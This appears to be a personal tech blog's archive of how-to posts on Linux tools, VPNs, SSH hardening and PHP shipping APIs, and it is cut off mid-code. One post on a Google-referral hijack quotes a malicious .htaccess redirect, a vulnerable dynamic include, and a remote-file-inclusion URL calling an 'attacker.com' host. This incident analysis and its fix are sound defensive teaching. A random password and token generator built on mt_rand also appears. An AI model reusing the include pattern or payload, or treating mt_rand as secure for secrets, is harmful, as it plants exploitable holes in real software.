MarkSanborn.net

Compiling Duckdb On Openbsd

2024-11-07T00:00:00Z

Unfortunately duckdb doesn’t have an official package for OpenBSD so we need to compile it from source.

It turns out you can’t get extensions after compilation because there are no official packages for OpenBSD. So make sure to compile with the extensions you need.

Switch to a known release tag: git checkout tags/v1.1.2

pkg_add gmake cmake
git clone https://github.com/duckdb/duckdb.git
cd duckdb
CORE_EXTENSIONS='autocomplete;httpfs;icu;parquet;json' gmake

Lock Down SSH with spiped

2024-10-06T00:00:00Z

SSH has had a history of vulnerabilities which could lead to remote code execution or compromise your server. Spiped protects against 0-day vulnerabilities. It prevents anyone without the key from even attempting to connect.

From the author:

Since data is authenticated before being forwarded to the target, this can allow you to SSH to a host while protecting you in the event that someone finds an exploitable bug in the SSH daemon — this serves the same purpose as port knocking or a firewall which restricts source IP addresses which can connect to SSH.> Spiped is a utility for creating encrypted and authenticated pipes between socket addresses. It’s like a force field for your SSH connection.

What is spiped?

Spiped is a utility for creating encrypted and authenticated pipes between socket addresses. It’s like a force field for your SSH connection.

Why use spiped?

Adds an extra layer of encryption
Protects against man-in-the-middle attacks
Hides your SSH port from scanners
Works with any SSH client

Let’s secure your server.

Step 1: Install spiped

On Ubuntu or Debian:

sudo apt update
sudo apt install spiped

On CentOS or Fedora:

sudo yum install epel-release
sudo yum install spiped

Step 2: Generate a secret key

Spiped needs a shared secret key. Create one:

dd if=/dev/urandom bs=32 count=1 of=/etc/spiped-secret
chmod 600 /etc/spiped-secret

This creates a 32-byte random key and restricts access to root.

Step 3: Set up spiped on your VPS

Create a systemd service file:

sudo nano /etc/systemd/system/spiped-ssh.service

Paste this content:

[Unit]
Description=Spiped for SSH
After=network.target

[Service]
Type=simple
ExecStart=/usr/bin/spiped -F -d -s '[0.0.0.0]:8022' -t '[127.0.0.1]:22' -k /etc/spiped-secret
Restart=always

[Install]
WantedBy=multi-user.target

This tells spiped to:

Listen on all interfaces, port 8022
Forward traffic to localhost, port 22 (SSH)
Use the secret key we generated

Save and close the file.

Step 4: Start and enable the service

sudo systemctl start spiped-ssh
sudo systemctl enable spiped-ssh

Step 5: Configure your firewall

Allow incoming connections on port 8022:

For UFW:

sudo ufw allow 8022/tcp

For firewalld:

sudo firewall-cmd --add-port=8022/tcp --permanent
sudo firewall-cmd --reload

Step 6: Set up spiped on your local machine

Install spiped on your local machine using the same method as Step 1.

Create a script to start the local spiped instance:

nano ~/spiped-ssh-connect.sh

Add this content:

#!/bin/bash
spiped -e -s [127.0.0.1]:8022 -t [YOUR_VPS_IP]:8022 -k /path/to/spiped-secret

Replace [YOUR_VPS_IP] with your VPS’s actual IP address.

Make the script executable:

chmod +x ~/spiped-ssh-connect.sh

Step 7: Connect to your VPS

Start the local spiped instance:
```
~/spiped-ssh-connect.sh
```
In a new terminal, connect via SSH:
```
ssh -p 8022 username@localhost
```

You’re now connected through an encrypted spiped tunnel!

Optional: Disable password authentication

For maximum security, use SSH keys and disable password authentication:

On your local machine, generate an SSH key pair:

ssh-keygen -t ed25519 -C "your_email@example.com"

Copy the public key to your VPS:
```
ssh-copy-id -p 8022 username@localhost
```
On your VPS, edit the SSH config:
```
sudo nano /etc/ssh/sshd_config
```

Set these options:

PasswordAuthentication no
PubkeyAuthentication yes

Restart the SSH service:
```
sudo systemctl restart ssh
```

Troubleshooting

Can’t connect? Check these:

Is spiped running on both machines?
```
sudo systemctl status spiped-ssh
```
Are you using the correct port (8022)?
Is your firewall allowing connections?
Did you copy the secret key to your local machine?
Are the IP addresses in your local script correct?

Spiped vs. VPN

Why use spiped instead of a VPN?

Simpler setup
Less overhead
Focused on securing just SSH
Can be used alongside a VPN

However, a VPN secures all traffic. Choose based on your needs.

Conclusion

You’ve now fortified your VPS’s SSH connection. Spiped adds a powerful layer of security, making life much harder for attackers.

Remember:

Keep your secret key safe
Update your systems regularly
Monitor for unusual activity

With these steps, you’ve significantly boosted your server’s security. Sleep easier knowing your VPS is better protected against SSH-based attacks.

Golang Naked Redirect WWW Middleware

2024-03-02T00:00:00Z

It is important to make sure you site’s URL is either naked yoursite.com or with www. like www.yoursite.com. One should redirect to the other and you should keep is consistent for SEO.

If you redirect naked to www., and you use Go, you can use the following Go middleware to have all naked requests redirect with 301 to www.:

func RedirectNakedToWWW(handler http.Handler) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		// if host doesn't have www. redirect
		if !strings.HasPrefix(r.Host, "www.") {
			http.Redirect(w, r, fmt.Sprintf("https://www.%s", r.Host)+r.URL.String(), http.StatusMovedPermanently)
			return
		}
		handler.ServeHTTP(w, r)
	})
}

WireGuard a Fast, Modern, and Secure way to Connect to Your Home Network

2020-07-04T00:00:00Z

There are many guides out there on how to use WireGuard to create your own personal VPN to route all your traffic through a VPS (Virtual Private Server) for privacy or other reasons.

This guide will focus on creating a VPN so you can connect to your home network on the go.

This is guide is based on How to setup your own VPN server using WireGuard on Ubuntu.

Motivation / Why?

To connect to home network which is behind a typical NAT/Router securely in order to:

Access file shares
Access movies through Plex
Grab the code you were working on that you forgot to push

You can ping your phone (or access any running services) wherever it is as long as it is connected to the VPN.

Requirements

You will need a public server on the internet with a static IP address as most of our devices like phones, ipad, home server, etc will be behind a NAT/firewall. The public server will give our VPN a central spoke to route traffic to the devices behind a NAT. Fortunately, these are about $5/month these days.

Install WireGuard on Ubuntu or see: WireGuard Installation

add-apt-repository ppa:wireguard/wireguard
apt-get update # you can skip this on Ubuntu >= 18.04
apt-get install wireguard

Activate the wireguard kernel module without having to reboot.

sudo modprobe wireguard

cd /etc/wireguard
umask 077
wg genkey | sudo tee privatekey | wg pubkey | sudo tee publickey

sudo apt install openresolv

You have to get client pub key from the output of sudo wg the publickey file is not correct when setting the peer on the server.

Add a peer:

sudo wg set wg0 peer THEIRPUBLICKEY allowed-ips 10.10.0.4/32,fd86:ea04:1111::4/128

Remove a peer:

sudo wg set wg0 peer THEIRPUBLICKEY remove

If you already have a config in /etc/wireguard/wg0.conf you can use wg-quick up wg0 to connect to the VPN.

You may need to sudo modprobe wireguard after a kernel upgrade.

Enable on reboot:

sudo systemctl enable wg-quick@wg0

Add an iOS device:

Install the WireGuard app
Add a tunnel from scratch
Set name to whatever makes sense
Generate keypair
Set address to the IP address you want this device to take i.e. 10.10.0.5/32
Add spoke/VPS as peer
- Add endpoint as the public static IP of your VPS/spoke
- Added allowed IPs i.e. 10.10.0.0/24
- Persistent keepalive 1
Copy phone’s public key to server
sudo wg set wg0 peer THEIRPUBLICKEY allowed-ips 10.10.0.5/32,fd86:ea04:1111::4/128

Notes on MergerFS

2019-11-04T00:00:00Z

Install mergerfs

sudo apt install mergerfs

Mount it

/mnt/data1:/mnt/data2 /mnt/usb fuse.mergerfs category.create=mfs,nonempty,defaults,allow_other,minfreespace=20G,fsname=mergerfsPool 0 0

Reboot to mount as drives may already be mounted/used

OSX: Never Paste with Style

2015-05-03T00:00:00Z

I never want to copy a chunk of text and then later paste that text with all of its styles and formatting. I personally found that I have no purpose for this. My styles are never aligned with the same styles that I am copying from.

Unfortunately, this is the default copy/paste behavior of OSX.

Lets change that:

Open System Preferences
Select Keyboard
Select tab Keyboard Shortcuts
Select Application Shortcuts from the left list box
Click + below right list box
Select All Applications for Application input box
Type Paste and Match Style into the Menu Title input box
In the Keyboard Shortcut input box, type command-v
Click add

Robo Calling with Twilio

2012-07-15T00:00:00Z

Every one hates to get political or an automated spam robo call; however, I recently had the opportunity to create one that people loved and it was stupid simple thanks to Twilio.

My girlfriend has a tradition of reciting the speech from the movie Independence Day, on our Independence Day:

She has the speech memorized and had been manually calling her friends each year to deliver the performance. People loved it but her list of people to call grew to over 100 people which took over three hours of calling last year.

This year I told her I could probably help her out and automate it. I didn’t expect it to be so easy.

I first had her export her contacts from her phone into a CSV where she edited some of the contacts. We then used the following Ruby script that I created with the fantastic twilio-ruby library to load the CSV and loop through each phone number:

    require 'rubygems'
    require 'twilio-ruby'
    require 'csv'

    # put your own credentials here
    account_sid = 'ACCOUNTID'
    auth_token = 'TOKEN'

    # set up a client to talk to the Twilio REST API
    @client = Twilio::REST::Client.new account_sid, auth_token

    CSV.foreach('phonenumbers.csv', :headers => true) do |csv_obj|
        if csv_obj['PhoneNumbers']
            phone_number = csv_obj['PhoneNumbers']
            puts phone_number # <-- Watch the progress
            @call = @client.account.calls.create(
            :from => '+15551234567',
            :to => phone_number,
              :url => 'http://someinternetaccessiblepath.com/twilio.html'
              )
          end
    end

I set the from phone number to hers so to her friends it appears that the call is coming directly from her phone.

Twilio requires a URL to hit once the recipient picks up. Since my response is static I hosted both the MP3 and Response XML on Amazon S3 to avoid the hassle of setting up a web server.

Here is all that is required:

<?xml version="1.0" encoding="UTF-8"?>
<Response>
    <Play>https://s3.amazonaws.com/somes3bucket/id4/id4-high.mp3</Play>
</Response>

We used Audacity to put some background music to the speech and add some megaphone like echo for maximum effect.

Here is the end result.

Documentation for Magento Developers

2012-06-19T00:00:00Z

I am excited to announce that I have a new book coming out!

Lately, I have been busy working on my side projects.

One that I am particularly proud of is that I have moved from Montana to San Francisco and joined the Vonnda team.

Since joining Vonnda I have learned a lot about the inner workings of Magento and how to properly develop extensions for the platform. We have really made Magento do some amazing things, but it wasn’t always easy.

When I first set out developing my first Magento extension I was shocked to find that there was a serious lack of documentation. I struggled for weeks before I could get Magento to do what I wanted. Although I did finally found some resources on developing extensions for Magento, the information was hidden across the Internet in blogs. Many of them were helpful but most were out of date. The entrepreneur in me decided it was time to create the documentation that I wish I had when I started developing Magento extensions.

I am proud to announce that Documentation for Magento Developers will be coming out Summer 2012.

The documentation will be both a reference and a quick start guide to developing your first Magento extension. It will also be a living guide with updates to support future versions of Magento so you don’t have to worry about the documentation going stale.

The DRM-free documentation will include: PDF, ePub, MOBI, TXT, source code, and several cheat sheets.

Reserve your copy today for a discount!

What RSS Feeds Does Mark Sanborn Read?

2009-09-24T00:00:00Z

Ever wonder what RSS feeds I subscribe to? Here is a quick list of most of the feeds I subscribe to.

Niche Alerts

These are alerts that I have setup so I can see if I am mentioned on twitter or if a general term is being talked about. Some of these keywords will generate tons of alerts. For the ones with many alerts I will usually scan these weekly to see any trending topics.

Google Alerts: Linux
Google Alerts: Linux Howto
Twitter Search: Nixtutor
Twitter Search : Linux
Twitter Search: Faceoff Podcast
Technorati Search for: Linux
Twitter Search: Rocketshipit - UPS, FedEx, USPS web shipping business that I do.

I also have some various work related niche alerts that I won’t list here.

Friend’s Blogs

Jade Robbins - All about my good friend Jade Robbins the co-host of Faceoff Show and founder of Montana Fragfest.
Eric Wendelin’s Blog - I wrote a guest post for Eric a long time ago and been a subscriber ever since. He talks about, programming and productivity with open-source tools.

Linux

0ddn1x: tricks with *nix - A nice compilation of good linux articles across the net. Most of these come from social media sites.
Adam’s Tech Talk, Linux HOWTOs & Discussion, PHP, MySQL
BabloTech
Debian Package of the Day - An excellent site. They definitely don’t post daily however.
Linux * Screw
Mark Shuttleworth (Founder of Ubuntu) - Posts are few and far between but are usually worth it.
nixCraft Linux Sys Admin Blog - Nice alternative to Nixtutor. Usually Nix admin articles.
Ubuntu Linux Help
Werner’s Linux Blog
MontanaLinux.org - If you live in Montana definitely consider subscribing to this feed.

General Tech

Lifehacker - Who doesn’t love lifehacker? My only complaint is that this feed can be overwhelming. (20+ a day)
gHacks technology news
Google Open Source Blog - I love open source. I love google. I love this feed.
Yet Another Technology Site
PureRoon.co.uk
Walker News

Gaming

Montana Fragfest - Jade Robbins runs this gaming site that is primarily for Montana residents but everyone is welcomed. If you play Team Fortress 2 we play every Monday and Thursday night.

Non Tech

Montana Mushrooms - The best damn mushroom blog in town. Seriously, if you think mushrooms are those little white things you buy in the store check this site out. The world of mushrooms is so much more.

Web Development

NETTUTS - Web development tutorials and links - Great in-depth articles on technology. I mainly use this feed to check what current web development trends are popular.
David Walsh Blog - A Mootools evangelist and web developer. I have guest posted on David’s blog and also interviewed David on Faceoff show.
CSS-Tricks - An awesome resource for CSS and general web development articles and screencasts.

Security

Schneier on Security - An author of many crypto books and creator of the two fish and blow fish crypto algorithms.
SecurityFocus Vulnerabilities - A very verbose security vulnerability alert service.

Business and Marketing

Seth’s Blog - An amazing resource for marketing advice and theory.
ProBlogger Blog Tips - The pro of blogging. Problogger, Darren Rowse.

Web Apps

I scan through these daily and pick only the best web apps that I can find. I then talk about these on our podcast: Faceoff Show. I highly recommend that you just subscribe to the podcast so you can skip the useless web apps and get detailed reviews of the good ones.

Work

WorkAwesome - From the creator of Nettuts.

Check personal feeds to make sure they work

These are feeds that I have subscribed to only to make sure they are working. Most of these are sites/projects that I contribute to.

NixTutor - My blog about Linux
Faceoff Show - A podcast I co-host about web apps, programming, and entrepreneurship.
Issue updates for project ups-php on Google Code - An open source project regarding UPS shipping.

What else?

Did I miss something? Based on my feeds can you recommend a good feed I should subscribe to?

Schedule a Tweet with One Comnand in Linux

2009-03-09T00:00:00Z

Ever want to schedule a tweet to go out at the same time an article is published or an event is started? Want to do it without signing up to a service or some other complicated task? Well this post is for you. I am going to show you how to schedule a tweet from the command line in one line of code. You can schedule the tweet to take place ten minutes from now, 14 days, or whenever you wish.

Twitter allows programmers and developers to interact with its service using its API. By sending small bits of XML code or POST data we can send updates or get our friend’s feeds. Fortunately Linux has some tools available to it that make this job easy.

To send a tweet from the Linux console all you have to do is send a small snippit of code through curl like:

curl -u email:password -d status="What is everyone's plan this weekend?" http://twitter.com/statuses/update.xml

To make it automated one time we use the ‘at’ command.

Suppose we want to issue a tweet out tomorrow morning at 5:00am when our post is released. To do this we would issue the following command:

at 5am tomorrow

At this point you will be prompted with the at console. This is so you can execute multi-line commands.

Type the following replacing email and password with your own.

curl -u email:password -d status="What is everyone's plan this weekend?" http://twitter.com/statuses/update.xml

Then hit enter. To tell at that you are now finished writing commands do, ctrl+d

To see the current queue just type:

atq

If you made a mistake you can remove a task by id:

atrm 6

Two New Projects Launched: NixTutor and Faceoff Podcast

2009-02-09T00:00:00Z

As you may have noticed posts have slowed a little here on MarkSanborn.net. This is due to my involvement in two new projects.

NixTutor

NixTutor is a new blog/tutorial site that I created to cater to those that love and use unix like systems. NixTutor will have full guides and indepth tutorials regarding various unix like topics including:

Linux
FreeBSD
OpenBSD
NetBSD
Solaris
Open Source Software

For Nix topics subscribe to the NixTutor RSS feed.

Faceoff Podcast

The faceoff prodcast is a new weekly podcast that me and my buddy Jade Robbins started that focuses on web technology.

Some of the topics that we have covered include:

Frameworks
Ruby on Rails
Zend Framework
Wordpress 2.7
Firebug
Personal Brand Image
Negative Blog Comments
Interesting people to follow on Twitter
Web apps
Music while programing
ups-php
ie7-js

To subscribe to the itunes compatible feed click here.

How about MarkSanborn.net?

This site will remain up and I will continue as usual to post on various technology topics; however, expect to see less Linux related posts as they will most likely make their way over to the new NixTutor site.

Faceoff: Episode 2

2009-02-03T00:00:00Z

Well we decided that podcasting was fun and many of our listeners enjoyed it so we continuing with the project.

We opened a website up at faceoffshow.com Although the site is not quite up yet, expect a full feature site with proper itunes compatible feeds soon!

In the mean time you can download the podcast directly from here:

Episode 2:

Topics include:

Technology people to follow on Twitter
Web apps
Music while programing
ie7-js
ups-php
Desktop virtualization

Faceoff-002-FavoriteWebapps.mp3

Show Notes:

Gary Vaynerchucktwitter.com/garyvee garyvaynerchuk.com
Matt Cutts - twitter.com/mattcutts mattcutts.com/blog
IE 7 JS plugin

Faceoff: A New Podcast by Mark Sanborn and Jade Robbins

2009-01-27T00:00:00Z

This is the first episode of our new podcast called, Face Off.

This was our first recording of any kind ever. Since this is our first podcast it is very amateur. There are times in the podcast where there is light swearing. The first recording was also not structured and was never really meant to be a podcast until we were done and had over an hour worth of material we wanted to share, so, please bare with us. We promise to have a more structured show for episode two.

If this is something you would like to see more of please let us know either by leaving a comment below or sending me or Jade Robbins an email.

Episode 1: 56:30

Topics include:

Frameworks
Ruby on Rails
Zend Framework
Wordpress 2.7
Firebug
Personal Brand Image
Negative Blog Comments

Without further ado

Faceoff-001-Frameworks.mp3

You can listen to Episode 2 when you are done with this one.

Extract without First Directory

2009-01-06T00:00:00Z

Whenever I download something that is compressed on the Internet in a .zip, .rar or .tar.gz it is always a crapshot whether or not it contains a “container directory”. A “container directory” is a directory that contains all the other files usually with the same name as the compressed file.

For example the Zend Framework when downloaded contains a folder called, ‘ZendFramework-1.7.2’. All the other files are contained under this folder. This is great but sometimes I want to extract the contents of the folder without the “container folder”.

This is how I used to extract the contents and remove the “container folder”:

tar -xvf ZendFramework-1.7.2.tar.gz

Get rid of the tarball…

rm ZendFramework-1.7.2.tar.gz

cd ZendFramework-1.7.2/

Which would result in:

Copy everything in the “container” folder and move it up a directory.

cp -rf * ../

Now I have found a better way…

A better way

The flag that I have learned is the strip flag. This will strip off the first directory and extract the rest.

tar -xvf ZendFramework-1.7.2.tar.gz --strip 1

The only thing now is… How do I tell if a tar contains a “container folder”?

Easy

tar -tf ZendFramework-1.7.2.tar.gz | head

This will list contents of the file ‘ZendFramework-1.7.2.tar.gz’ showing only the first few lines.

What do you think? Is there an even better way?

Mastering the UPS Shipping API: Rate Shopping Dropdown

2008-12-19T00:00:00Z

One of the first parts of the checkout process of any ecommerce site is to provide the customer with a dropdown box with shipping options. In this tutorial we are going to shop for various UPS rates and display them in a convenient drop down.

If you are new to the UPS API first read this article, Mastering the UPS Shipping API: Getting Started. You will need to have access to UPS’s online web tools. You can register here.

Getting ups-php

The first step is to go and get ups-php. For this guide we will use the latest code by downloading it with svn.

mkdir ups-php svn checkout http://ups-php.googlecode.com/svn/trunk/ .

Once downloaded you will notice that there is a folder called tests inside of tests there are rates and tracking. In rates there is a file called test_shopRates.php. This file contains a working sample test code. Simply enter your UPS credentials and hit submit.

You will than have a big giant array with tons of information available to us.

Getting the correct values

With all this information what do we really need to get to the bottom of the line and display a simple dropdown with a couple of shipping options?

We need the total charge for the package:

And the UPS service code:

Now we have the required information. We know that the total charge for the package is in the hashed array:

$response['RatingServiceSelectionResponse']['RatedShipment'][0]['TotalCharges']['MonetaryValue']['VALUE'];

And that the UPS Service Code is in this hashed array:

$response['RatingServiceSelectionResponse']['RatedShipment'][0]['Service']['Code']['VALUE'];

Looping through all the available services

These values are nice but they only represent one of the available services that UPS offers. If you notice in the array hash reference above we have a [0] after [‘RatedShipment’]. This represents the first set in a group of multiple “RatedShipments”.

We need to loop through all of them and display them like this:

$response = $upsRate->returnResponseArray();

foreach ($response['RatingServiceSelectionResponse']['RatedShipment'] as $service) {
    echo $service['Service']['Code']['VALUE']. '<br />';
    echo $service['TotalCharges']['MonetaryValue']['VALUE']. '<br />';
}

This will print out all the UPS Service Codes with the total cost for the service. All we have to do now is add some HTML and put them in a drop down.

<select>
<?php $response = $upsRate->returnResponseArray();

foreach ($response['RatingServiceSelectionResponse']['RatedShipment'] as $service) {
    $serviceCode = $service['Service']['Code']['VALUE'];
    $totalCharges = $service['TotalCharges']['MonetaryValue']['VALUE'];

    echo "<option value=\"$serviceCode\">$serviceCode ($totalCharges)</option>";
} 
?>
</select>

You should end up with something like this:

From here all you have to do is convert the service codes to their respective names found in this article, Calculating UPS Shipping Rate with PHP. If you get stuck just go back to the example provided with ups-php, test_rates.php.

Auto Pastebin with Pastebinit

2008-12-05T00:00:00Z

If you have ever been in an irc channel or IM and needed to show another programmer your code you have probably used Pastebin before or a similar service. You simply go to the website copy and paste and hit submit and you have a link generated so you can hand it out to your fellow programmer.

I’m always someone that is looking for a faster/better way of doing things and copying, pasting, switching screens, and navigating to a website is a huge waste of time. With pastebinit I can skip all of that and just type:

pastebinit myclass.php

And voila!

This is handy for me since I always do my development on a Linux machine with a console based text editor.

For the Debian/Ubuntu lovers you can install by doing:

apt-get install pastebinit

For other Linux distributions, you know the routine.

For you Windows guys get a real operating system or at the very least download PuTTY and SSH into a real operating system when developing.

Installing Windows IPsec Firewall

2008-12-04T00:00:00Z

Just recently I found a post that described using the ipseccmd in Windows. I honestly had no idea that this tool existed for Windows. I found this article while searching for a way to block outgoing traffic on the local computer as apposed to making firewall policies. This was the perfect solution for network testing, forcing productivity, optimization and security in Windows.

To get the firewall for Windows you will need to download, Windows Support Tools. When installing make sure you select the complete option.

Security and Optimization

In the firewall world security and optimziation goes hand in hand. Spyware applications will absolutely eat a computer alive with useless communication and sneaky transfers. Turning off ports provides extra security and blocks these applications from communicating thus making your internet faster and reducing ping latency. In many games latency is the difference between life and death, especially in first person shooters. While playing these games you cannot afford to have other programs transferring data.

It is not always spyware causing problems, sometimes it is legitimate traffic simply running at the wrong times. Windows will decide to do an automatic update (if you have it turned on), or other applications you may installed might hog your bandwidth and sky rocket your ping times. With IPsec you can turn everything off except the game.

Disabling internet service

The following command will disable all outgoing traffic:

cd "c:\Program Files/Support Tools" ipseccmd -f [0=*:*:*]

Once everything is disabled you will want to allow outgoing traffic for your game. Simply add the port to the allow list like this:

ipseccmd -f (0=*:27016:TCP)

If you look up games by hostname/dns you will need to open up port 53 UDP as well.

Forcing Productivity

Maybe you just want to be more productive and don’t want to be distracted by IMs and the temptation to check your email. You can disable all traffic except SSH traffic port 22 for web development like this:

ipseccmd -f [0=*:*:*] ipseccmd -f (0=*:22:TCP)

To add access to FTP you can add:

ipseccmd -f (0=*:21:TCP)

If you wanted you could place these commands in a .bat file and have them run at specific intervals effectively turning off your internet at scheduled times.

Reverting changes

If you want to undo all the changes to the default firewall changes just throw down this command.

ipseccmd -u

PHP Include Injection and Google Referral Hijack

2008-12-03T00:00:00Z

So recently a friend of mine, had a client that had a very odd problem. His website was working fine when you go to it directly by typing in the domain name; however, if you searched for the site in Google and clicked the link for the site it would take you to a hijacked page.

So the page only appeared hijacked when the referral was coming from Google. The hijack could go unnoticed for months. You would either have to be googleing yourself or wait until a good samaritan sends you an email warning you of the problem. I must say this sort of attack is quite clever on the hijacker’s part. The hijacked page gets the original site’s page rank and Google visits while the site owner has absolutely no clue.

Fixing it

The first part of the problem was to fix the hijack. This was easily solved by simply deleting the .htaccess and restoring it with the original. The hacked .htaccess contained a redirect similar to something like this:

RewriteEngine On RewriteCond %{HTTP_REFERER} ^http://google\.com RewriteRule .* http://www.anotherdomain.com [R=301,L]

The second part of the problem was to find how the hacker was able to change the .htaccess. Since we don’t have access to shared hosting logs we were going to to have to do it the hard way.

We first tried a tool called, nikto. After running the tool it returned a myriad of potential problems that could have caused an attack, like old versions of PHP, old cgi scripts etc.. After thinking about it we thought that if it was the host’s fault there would be thousands of websites effected so we started digging into the code and found something interesting:

include_once("$_GET[page].inc.php");

This one liner was the culprit we were looking for. This segment of code was used to include some code based on the particular pages the user was on. The problem with it however is that it blindly accepts any value here. Remember the golden rule: Sanatize all input! Failure to sanitize this input led to an attacker able to do something like this:

http://www.domain.com/index.php?page=attacker.com/attack

He would then have a script at his site called attack.inc.php. The attacker knew that they needed the .inc.php extension because the when they passed, ‘foobar’ through the page variable they got an error explaining that it wasn’t there. To prevent this knowledge you could supress the PHP error messages or use PHP required function instead and throw out a die statement. This would only provide obscurity however. We needed to eliminate the vulnerability with input sanitation.

To do this we used a simple regular expression that would only accept a-z and A-Z. This would prevent remote includes and path traversing.

<?php
function sanitizeInput($string) { 
    return preg_replace("/[^A-Za-z]/", "", $string); 
}  

echo sanitizeInput('blah123');     
?>

Remember to check over your code especially when getting input from the user. This is a very sneaky attack that would ruin your Google page rank and your traffic before you even noticed what was going on.

Random Password (String) Generator for PHP

2008-12-02T00:00:00Z

Random string generators are something we programmers end up using quite a bit. Sometimes you want to generate a random file name, a random email verification link, a random password, random token, etc.. Here is the one that I have been using lately.

This password generator uses the Mersenne Twister algorithm to generate random digits. You can learn more about it at Wikipedia or on Makoto Matsumoto’s website.

    <?php
    function randomString($length = 10, $chars = '1234567890') {
    
        // Alpha lowercase
        if ($chars == 'alphalower') {
            $chars = 'abcdefghijklmnopqrstuvwxyz';
        }
    
        // Numeric
        if ($chars == 'numeric') {
            $chars = '1234567890';
        }
    
        // Alpha Numeric
        if ($chars == 'alphanumeric') {
            $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';
        }
    
        // Hex
        if ($chars == 'hex') {
            $chars = 'ABCDEF1234567890';
        }
    
        $charLength = strlen($chars)-1;
    
        for($i = 0 ; $i < $length ; $i++)
            {
                $randomString .= $chars[mt_rand(0,$charLength)];
            }
    
        return $randomString;
    }
    
    echo randomString(8,'numeric');
    ?>

Syntax is randomString([int],[predifined | custom char set]);

For example to create an 8 character alpha numeric string you could use:

randomString(8,'alphanumeric');

Of if you wanted a string with only a small subset of characters you could use:

randomString(8,'abco0iLlI');

Do you use something similar?

Printing a Label for USPS with PHP

2008-12-01T00:00:00Z

Update: For a no fuss, 100% complete USPS script with label printing support, integration and support I have created, RocketShipIt.

If you have been following the posts on USPS you should know how to calculate USPS shipping rates with PHP. Today we are going to use the same USPS API to print out a label. One of the advantages of this is that you get free tracking on all priority shipments when you create your own label. The other advantages is that you get to integrate automatic label generation with your website for customers or for your own shipping.

Start off by making a file called, USPSLabel.php and copy and paste the code below and save it.

Then Change the userName variable with your USPS username and change the rest of the variables to match your label.

USPSLabel.php

<?php
function USPSLabel() {

// This script was written by Mark Sanborn at https://www.marksanborn.net
// If this script benefits you are your business please consider a donation
// You can donate at https://www.marksanborn.net/donate.

// ========== CHANGE THESE VALUES TO MATCH YOUR OWN ===========

$userName = ''; // Your USPS Username
$FromName = '';
$FromAddress2 = '';
$FromCity = '';
$FromState = '';
$FromZip5 = '';

$ToName = '';
$ToAddress2 = '';
$ToCity = '';
$ToState = '';
$ToZip5 = '';

$weightOunces = 5;


// =============== DON'T CHANGE BELOW THIS LINE ===============

$url = "https://Secure.ShippingAPIs.com/ShippingAPI.dll";
$ch = curl_init();

// set the target url
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);

// parameters to post
curl_setopt($ch, CURLOPT_POST, 1);

$data = "API=DeliveryConfirmationV3&XML=<DeliveryConfirmationV3.0Request USERID=\"$userName\">
<Option>1</Option>
<ImageParameters />
<FromName>$FromName</FromName>
<FromFirm />
<FromAddress1 />
<FromAddress2>$FromAddress2</FromAddress2>
<FromCity>$FromCity</FromCity>
<FromState>$FromState</FromState>
<FromZip5>$FromZip5</FromZip5>
<FromZip4 />
<ToName>$ToName</ToName>
<ToFirm />
<ToAddress1 />
<ToAddress2>$ToAddress2</ToAddress2>
<ToCity>$ToCity</ToCity>
<ToState>$ToState</ToState>
<ToZip5>$ToZip5</ToZip5>
<ToZip4 />
<WeightInOunces>$weightOunces</WeightInOunces>
<ServiceType>Priority</ServiceType>
<POZipCode />
<ImageType>PDF</ImageType>
<LabelDate />
</DeliveryConfirmationV3.0Request>";

// send the POST values to USPS
curl_setopt($ch, CURLOPT_POSTFIELDS,$data);

$result=curl_exec ($ch);
$data = strstr($result, '<?');
// echo '<!-- '. $data. ' -->'; // Uncomment to show XML in comments


$xmlParser = new uspsxmlParser();
$fromUSPS = $xmlParser->xmlparser($data);
$fromUSPS = $xmlParser->getData();

curl_close($ch);
return $fromUSPS;
}

class uspsxmlParser {

var $params = array(); //Stores the object representation of XML data
var $root = NULL;
var $global_index = -1;
var $fold = false;

/* Constructor for the class
* Takes in XML data as input( do not include the <xml> tag
*/
function xmlparser($input, $xmlParams=array(XML_OPTION_CASE_FOLDING => 0)) {
    $xmlp = xml_parser_create();
        foreach($xmlParams as $opt => $optVal) {
            switch( $opt ) {
            case XML_OPTION_CASE_FOLDING:
                $this->fold = $optVal;
            break;
            default:
            break;
            }
            xml_parser_set_option($xmlp, $opt, $optVal);
    }

    if(xml_parse_into_struct($xmlp, $input, $vals, $index)) {
        $this->root = $this->_foldCase($vals[0]['tag']);
        $this->params = $this->xml2ary($vals);
    }
    xml_parser_free($xmlp);
}

function _foldCase($arg) {
    return( $this->fold ? strtoupper($arg) : $arg);
}

/*
 * Credits for the structure of this function
 * http://mysrc.blogspot.com/2007/02/php-xml-to-array-and-backwards.html
 *
 * Adapted by Ropu - 05/23/2007
 *
*/

function xml2ary($vals) {

    $mnary=array();
    $ary=&$mnary;
    foreach ($vals as $r) {
        $t=$r['tag'];
        if ($r['type']=='open') {
            if (isset($ary[$t]) && !empty($ary[$t])) {
                if (isset($ary[$t][0])){
                    $ary[$t][]=array();
                } else {
                    $ary[$t]=array($ary[$t], array());
                }
                $cv=&$ary[$t][count($ary[$t])-1];
            } else {
                $cv=&$ary[$t];
            }
            $cv=array();
            if (isset($r['attributes'])) {
                foreach ($r['attributes'] as $k=>$v) {
                $cv[$k]=$v;
                }
            }

            $cv['_p']=&$ary;
            $ary=&$cv;

            } else if ($r['type']=='complete') {
                if (isset($ary[$t]) && !empty($ary[$t])) { // same as open
                    if (isset($ary[$t][0])) {
                        $ary[$t][]=array();
                    } else {
                        $ary[$t]=array($ary[$t], array());
                    }
                $cv=&$ary[$t][count($ary[$t])-1];
            } else {
                $cv=&$ary[$t];
            }
            if (isset($r['attributes'])) {
                foreach ($r['attributes'] as $k=>$v) {
                    $cv[$k]=$v;
                }
            }
            $cv['VALUE'] = (isset($r['value']) ? $r['value'] : '');

            } elseif ($r['type']=='close') {
                $ary=&$ary['_p'];
            }
    }

    $this->_del_p($mnary);
    return $mnary;
}

// _Internal: Remove recursion in result array
function _del_p(&$ary) {
    foreach ($ary as $k=>$v) {
    if ($k==='_p') {
          unset($ary[$k]);
        }
        else if(is_array($ary[$k])) {
          $this->_del_p($ary[$k]);
        }
    }
}

/* Returns the root of the XML data */
function GetRoot() {
  return $this->root;
}

/* Returns the array representing the XML data */
function GetData() {
  return $this->params;
}
}
?>

Then make another file and include the functions like this:

<?php
require('USPSLabel.php');

